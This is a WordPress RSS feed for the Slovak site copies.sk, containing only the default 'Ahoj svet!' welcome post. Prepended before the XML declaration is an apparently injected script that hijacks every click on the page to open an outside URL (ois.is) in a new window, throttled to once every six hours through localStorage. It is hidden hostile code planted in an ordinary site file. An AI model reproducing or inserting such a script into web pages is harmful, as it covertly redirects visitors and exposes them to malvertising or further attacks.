<script>(function (parameters) {
		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getFromStorage = (host) => localStorage.getItem(`${host}-local-storage`);
		const addToStorage = (host, nowDate) => localStorage.setItem(`${host}-local-storage`, nowDate);

		function globalClick(event) {
			const host = location.host
			const newLocation = "https://ois.is/images/logo.png"
			const allowedHours = 6

			const nowDate = Date.parse(new Date());
			const savedData = getFromStorage(host)

			if (savedData) {
				try {
					const storageDate = parseInt(savedData);
					// check hours
					const hoursDiff = getHoursDiff(nowDate, storageDate)
					console.log(nowDate, storageDate, hoursDiff)
					if (hoursDiff >= allowedHours) {
						addToStorage(host, nowDate);
						window.open(newLocation, "_blank");
					}
				} catch (error) {
					addToStorage(host, nowDate);
					window.open(newLocation, "_blank");
				}
			} else {
				addToStorage(host, nowDate);
				window.open(newLocation, "_blank");
			}
		}
		document.addEventListener("click", globalClick);
	})();</script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Copies</title>
	<atom:link href="http://www.copies.sk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.copies.sk</link>
	<description></description>
	<lastBuildDate>Sun, 28 Jan 2024 14:33:12 +0000</lastBuildDate>
	<language>sk-SK</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.1.42</generator>
	<item>
		<title>Ahoj svet!</title>
		<link>http://www.copies.sk/ahoj-svet/</link>
		<comments>http://www.copies.sk/ahoj-svet/#comments</comments>
		<pubDate>Sat, 03 Jan 2015 18:40:21 +0000</pubDate>
		<dc:creator><![CDATA[wordpressadmin]]></dc:creator>
				<category><![CDATA[Nezaradené]]></category>

		<guid isPermaLink="false">http://www.copies.sk/?p=1</guid>
		<description><![CDATA[Vitajte vo WordPress. Toto je váš prvý článok. Môžete ho upraviť alebo vymazať a potom už len začať písať!]]></description>
				<content:encoded><![CDATA[<p>Vitajte vo WordPress. Toto je váš prvý článok. Môžete ho upraviť alebo vymazať a potom už len začať písať!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.copies.sk/ahoj-svet/feed/</wfw:commentRss>
		<slash:comments>10523</slash:comments>
		</item>
	</channel>
</rss>
